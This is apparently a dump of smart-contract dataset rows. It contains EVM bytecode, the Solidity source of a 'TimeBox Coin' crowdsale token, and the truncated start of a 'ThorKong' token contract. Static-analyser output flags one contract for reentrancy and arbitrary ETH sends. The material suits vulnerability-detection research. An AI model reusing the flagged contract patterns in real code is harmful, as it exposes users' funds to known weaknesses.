f206164647260448201526265737360e81b6064820152608401610683565b600081116110655760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610683565b6000546001600160a01b0384811691161480159061109157506000546001600160a01b03838116911614155b80156110b657506001600160a01b03831660009081526012602052604090205460ff16155b80156110db57506001600160a01b03821660009081526012602052604090205460ff16155b156113b557601554600160a01b900460ff1661117f576001600160a01b03831660009081526012602052604090205460ff1661117f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610683565b6016548111156111d15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610683565b6001600160a01b03831660009081526011602052604090205460ff1615801561121357506001600160a01b03821660009081526011602052604090205460ff16155b61126b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610683565b6015546001600160a01b038381169116146112f0576017548161128d8461095d565b61129791906120a8565b106112f05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610683565b60006112fb3061095d565b6018546016549192508210159082106113145760165491505b80801561132b5750601554600160a81b900460ff16155b801561134557506015546001600160a01b03868116911614155b801561135a5750601554600160b01b900460ff165b801561137f57506001600160a01b03851660009081526004602052604090205460ff16155b80156113a457506001600160a01b03841660009081526004602052604090205460ff16155b156113b2576113b282611790565b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806113f757506001600160a01b03831660009081526004602052604090205460ff165b8061142957506015546001600160a01b0385811691161480159061142957506015546001600160a01b03848116911614155b15611436575060006114dc565b6015546001600160a01b03858116911614801561146157506014546001600160a01b03848116911614155b1561148c57600754600d556009546008546114889160649161148291610cf2565b90610d58565b600e555b6015546001600160a01b0384811691161480156114b757506014546001600160a01b03858116911614155b156114dc57600a54600d55600c54600b546114d89160649161148291610cf2565b600e555b610bd384848484611861565b6000818484111561150c5760405162461bcd60e51b81526004016106839190611fad565b5060006115198486612101565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106f4573d6000803e3d6000fd5b60006005548211156115c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610683565b60006115cd61188f565b9050610d518382610d58565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162157611621612149565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561167557600080fd5b505afa158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad9190611cc0565b816001815181106116c0576116c0612149565b6001600160a01b0392831660209182029290920101526014546116e69130911684610e19565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061171f908590600090869030904290600401612037565b600060405180830381600087803b15801561173957600080fd5b505af115801561174d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b600081836117835760405162461bcd60e51b81526004016106839190611fad565b50600061151984866120c0565b60006117a9600c54600b54610cf290919063ffffffff16565b905060006117c36002600c54610d5890919063ffffffff16565b905060006117ea836114826117e385600b54610cf290919063ffffffff16565b8790610d9a565b905060006117fc846114828786610d9a565b905047611808836115d9565b600061181447836118b2565b9050600061183361182588886118b2565b600b54611482908590610d9a565b9050600061184183836118b2565b905061184c82611522565b61185685826118f4565b505050505050505050565b8061186e5761186e6119b4565b6118798484846119e2565b80610bd357610bd3600f54600d55601054600e55565b600080600061189c611ad9565b90925090506118ab8282610d58565b9250505090565b6000610d5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114e8565b60145461190c9030906001600160a01b031684610e19565b60145460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561197457600080fd5b505af1158015611988573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119ad9190611f3c565b5050505050565b600d541580156119c45750600e54155b156119cb57565b600d8054600f55600e805460105560009182905555565b6000806000806000806119f487611b19565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a2690876118b2565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a559086610cf2565b6001600160a01b038916600090815260026020526040902055611a7781611b76565b611a818483611bc0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ac691815260200190565b60405180910390a3505050505050505050565b6005546000908190678ac7230489e80000611af48282610d58565b821015611b1057505060055492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611b368a600d54600e54611be4565b9250925092506000611b4661188f565b90506000806000611b598e878787611c33565b919e509c509a509598509396509194505050505091939550919395565b6000611b8061188f565b90506000611b8e8383610d9a565b30600090815260026020526040902054909150611bab9082610cf2565b30600090815260026020526040902055505050565b600554611bcd90836118b2565b600555600654611bdd9082610cf2565b6006555050565b6000808080611bf860646114828989610d9a565b90506000611c0b60646114828a89610d9a565b90506000611c2382611c1d8b866118b2565b906118b2565b9992985090965090945050505050565b6000808080611c428886610d9a565b90506000611c508887610d9a565b90506000611c5e8888610d9a565b90506000611c7082611c1d86866118b2565b939b939a50919850919650505050505050565b8035611c8e81612175565b919050565b80358015158114611c8e57600080fd5b600060208284031215611cb557600080fd5b8135610d5181612175565b600060208284031215611cd257600080fd5b8151610d5181612175565b60008060408385031215611cf057600080fd5b8235611cfb81612175565b91506020830135611d0b81612175565b809150509250929050565b600080600060608486031215611d2b57600080fd5b8335611d3681612175565b92506020840135611d4681612175565b929592945050506040919091013590565b60008060408385031215611d6a57600080fd5b8235611d7581612175565b9150611d8360208401611c93565b90509250929050565b60008060408385031215611d9f57600080fd5b8235611daa81612175565b946020939093013593505050565b600080600060408486031215611dcd57600080fd5b833567ffffffffffffffff80821115611de557600080fd5b818601915086601f830112611df957600080fd5b813581811115611e0857600080fd5b8760208260051b8501011115611e1d57600080fd5b602092830195509350611e339186019050611c93565b90509250925092565b60006020808385031215611e4f57600080fd5b823567ffffffffffffffff80821115611e6757600080fd5b818501915085601f830112611e7b57600080fd5b813581811115611e8d57611e8d61215f565b8060051b604051601f19603f83011681018181108582111715611eb257611eb261215f565b604052828152858101935084860182860187018a1015611ed157600080fd5b600095505b83861015611efb57611ee781611c83565b855260019590950194938601938601611ed6565b5098975050505050505050565b600060208284031215611f1a57600080fd5b610d5182611c93565b600060208284031215611f3557600080fd5b5035919050565b600080600060608486031215611f5157600080fd5b8351925060208401519150604084015190509250925092565b60008060008060008060c08789031215611f8357600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600060208083528351808285015260005b81811015611fda57858101830151858201604001528201611fbe565b81811115611fec576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120875784516001600160a01b031683529383019391830191600101612062565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120bb576120bb612133565b500190565b6000826120dd57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120fc576120fc612133565b500290565b60008282101561211357612113612133565b500390565b600060001982141561212c5761212c612133565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027e3e3e8cb46f2ca79ed6df132070327d743d209c3211368a1578022fa1a23d064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,916 |
0x6158e3f89b4398f5fb20d20dbfc5a5c955f0f6dd
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) allowed;
mapping(address => uint256) balances;
mapping(address => bool) preICO_address;
uint256 public totalSupply;
uint256 public endDate;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
if( preICO_address[msg.sender] ) require( now > endDate + 120 days ); //Lock coin
else require( now > endDate ); //Lock coin
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
if( preICO_address[_from] ) require( now > endDate + 120 days ); //Lock coin
else require( now > endDate ); //Lock coin
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
if( preICO_address[msg.sender] ) require( now > endDate + 120 days ); //Lock coin
else require( now > endDate ); //Lock coin
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract TBCoin is StandardToken, Ownable {
using SafeMath for uint256;
// Token Info.
string public constant name = "TimeBox Coin";
string public constant symbol = "TB";
uint8 public constant decimals = 18;
// Sale period.
uint256 public startDate;
// uint256 public endDate;
// Token Cap for each rounds
uint256 public saleCap;
// Address where funds are collected.
address public wallet;
// Amount of raised money in wei.
uint256 public weiRaised;
// Event
event TokenPurchase(address indexed purchaser, uint256 value,
uint256 amount);
event PreICOTokenPushed(address indexed buyer, uint256 amount);
// Modifiers
modifier uninitialized() {
require(wallet == 0x0);
_;
}
function TBCoin() public{
}
//
function initialize(address _wallet, uint256 _start, uint256 _end,
uint256 _saleCap, uint256 _totalSupply)
public onlyOwner uninitialized {
require(_start >= getCurrentTimestamp());
require(_start < _end);
require(_wallet != 0x0);
require(_totalSupply > _saleCap);
startDate = _start;
endDate = _end;
saleCap = _saleCap;
wallet = _wallet;
totalSupply = _totalSupply;
balances[wallet] = _totalSupply.sub(saleCap);
balances[0xb1] = saleCap;
}
function supply() internal view returns (uint256) {
return balances[0xb1];
}
function getCurrentTimestamp() internal view returns (uint256) {
return now;
}
function getRateAt(uint256 at) public constant returns (uint256) {
if (at < startDate) {
return 0;
} else if (at < (startDate + 3 days)) {
return 1500;
} else if (at < (startDate + 9 days)) {
return 1440;
} else if (at < (startDate + 15 days)) {
return 1380;
} else if (at < (startDate + 21 days)) {
return 1320;
} else if (at < (startDate + 27 days)) {
return 1260;
} else if (at <= endDate) {
return 1200;
} else {
return 0;
}
}
// Fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender, msg.value);
}
// For pushing pre-ICO records
function push(address buyer, uint256 amount) public onlyOwner { //b753a98c
require(balances[wallet] >= amount);
require(now < startDate);
require(buyer != wallet);
preICO_address[ buyer ] = true;
// Transfer
balances[wallet] = balances[wallet].sub(amount);
balances[buyer] = balances[buyer].add(amount);
PreICOTokenPushed(buyer, amount);
}
function buyTokens(address sender, uint256 value) internal {
require(saleActive());
uint256 weiAmount = value;
uint256 updatedWeiRaised = weiRaised.add(weiAmount);
// Calculate token amount to be purchased
uint256 actualRate = getRateAt(getCurrentTimestamp());
uint256 amount = weiAmount.mul(actualRate);
// We have enough token to sale
require(supply() >= amount);
// Transfer
balances[0xb1] = balances[0xb1].sub(amount);
balances[sender] = balances[sender].add(amount);
TokenPurchase(sender, weiAmount, amount);
// Update state.
weiRaised = updatedWeiRaised;
// Forward the fund to fund collection wallet.
wallet.transfer(msg.value);
}
function finalize() public onlyOwner {
require(!saleActive());
// Transfer the rest of token to TB team
balances[wallet] = balances[wallet].add(balances[0xb1]);
balances[0xb1] = 0;
}
function saleActive() public constant returns (bool) {
return (getCurrentTimestamp() >= startDate &&
getCurrentTimestamp() < endDate && supply() > 0);
}
}
|
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610129578063078fd9ea146101b7578063095ea7b3146101e05780630b97bc861461023a57806318160ddd1461026357806323b872dd1461028c578063313ce567146103055780634042b66f146103345780634bb278f31461035d578063521eb2731461037257806368428a1b146103c757806370a08231146103f45780638da5cb5b1461044157806395d89b4114610496578063a9059cbb14610524578063b52e0dc81461057e578063b753a98c146105b5578063c24a0f8b146105f7578063dd62ed3e14610620578063f2fde38b1461068c578063f92ad219146106c5575b6101273334610722565b005b341561013457600080fd5b61013c610959565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017c578082015181840152602081019050610161565b50505050905090810190601f1680156101a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c257600080fd5b6101ca610992565b6040518082815260200191505060405180910390f35b34156101eb57600080fd5b610220600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610998565b604051808215151515815260200191505060405180910390f35b341561024557600080fd5b61024d610b9a565b6040518082815260200191505060405180910390f35b341561026e57600080fd5b610276610ba0565b6040518082815260200191505060405180910390f35b341561029757600080fd5b6102eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ba6565b604051808215151515815260200191505060405180910390f35b341561031057600080fd5b610318610ed1565b604051808260ff1660ff16815260200191505060405180910390f35b341561033f57600080fd5b610347610ed6565b6040518082815260200191505060405180910390f35b341561036857600080fd5b610370610edc565b005b341561037d57600080fd5b610385611081565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103d257600080fd5b6103da6110a7565b604051808215151515815260200191505060405180910390f35b34156103ff57600080fd5b61042b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110e2565b6040518082815260200191505060405180910390f35b341561044c57600080fd5b61045461112b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104a157600080fd5b6104a9611151565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e95780820151818401526020810190506104ce565b50505050905090810190601f1680156105165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561052f57600080fd5b610564600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061118a565b604051808215151515815260200191505060405180910390f35b341561058957600080fd5b61059f60048080359060200190919050506113a2565b6040518082815260200191505060405180910390f35b34156105c057600080fd5b6105f5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611453565b005b341561060257600080fd5b61060a6117a4565b6040518082815260200191505060405180910390f35b341561062b57600080fd5b610676600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117aa565b6040518082815260200191505060405180910390f35b341561069757600080fd5b6106c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611830565b005b34156106d057600080fd5b610720600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050611907565b005b6000806000806107306110a7565b151561073b57600080fd5b84935061075384600954611b1190919063ffffffff16565b9250610765610760611b2f565b6113a2565b915061077a8285611b3790919063ffffffff16565b905080610785611b6a565b1015151561079257600080fd5b6107cf816001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9c90919063ffffffff16565b6001600060b173ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061084f81600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8583604051808381526020018281526020019250505060405180910390a282600981905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561095157600080fd5b505050505050565b6040805190810160405280600c81526020017f54696d65426f7820436f696e000000000000000000000000000000000000000081525081565b60075481565b600080821480610a23575060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610a2e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a9a57629e34006004540142111515610a9557600080fd5b610aab565b60045442111515610aaa57600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60035481565b6000806000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c9357629e34006004540142111515610c8e57600080fd5b610ca4565b60045442111515610ca357600080fd5b5b610cf683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d8b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9c90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610de18382611b9c90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b60095481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3857600080fd5b610f406110a7565b151515610f4c57600080fd5b610fea6001600060b173ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006006546110b4611b2f565b101580156110ca57506004546110c8611b2f565b105b80156110dd575060006110db611b6a565b115b905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600281526020017f544200000000000000000000000000000000000000000000000000000000000081525081565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111f857629e340060045401421115156111f357600080fd5b611209565b6004544211151561120857600080fd5b5b61125b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9c90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112f082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006006548210156113b7576000905061144e565b6203f480600654018210156113d0576105dc905061144e565b620bdd80600654018210156113e9576105a0905061144e565b6213c6806006540182101561140257610564905061144e565b621baf806006540182101561141b57610528905061144e565b6223988060065401821015611434576104ec905061144e565b60045482111515611449576104b0905061144e565b600090505b919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114af57600080fd5b8060016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561151f57600080fd5b6006544210151561152f57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561158c57600080fd5b6001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506116588160016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9c90919063ffffffff16565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170f81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1190919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fdb2d10a559cb6e14fee5a7a2d8c216314e11c22404e85a4f9af45f07c87192bb826040518082815260200191505060405180910390a25050565b60045481565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156119045780600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196357600080fd5b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156119aa57600080fd5b6119b2611b2f565b84101515156119c057600080fd5b82841015156119ce57600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff16141515156119f457600080fd5b8181111515611a0257600080fd5b83600681905550826004819055508160078190555084600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600381905550611a7460075482611b9c90919063ffffffff16565b60016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506007546001600060b173ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b6000808284019050838110151515611b2557fe5b8091505092915050565b600042905090565b60008082840290506000841480611b585750828482811515611b5557fe5b04145b1515611b6057fe5b8091505092915050565b60006001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000828211151515611baa57fe5b8183039050929150505600a165627a7a72305820185a2892294c92aeff4f9cb9c2c3265433e8a0acfdc0c955699f5acb9191921d0029
|
{"success": true, "error": null, "results": {}}
| 8,917 |
0xb0d3cbca454de5a08e5e5bb320aa76f419464158
|
/**
$THORKONG
https://t.me/ThorKongErc
Website:https://www.thorkong.com/
Twitter: https://twitter.com/ThorKongToken
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
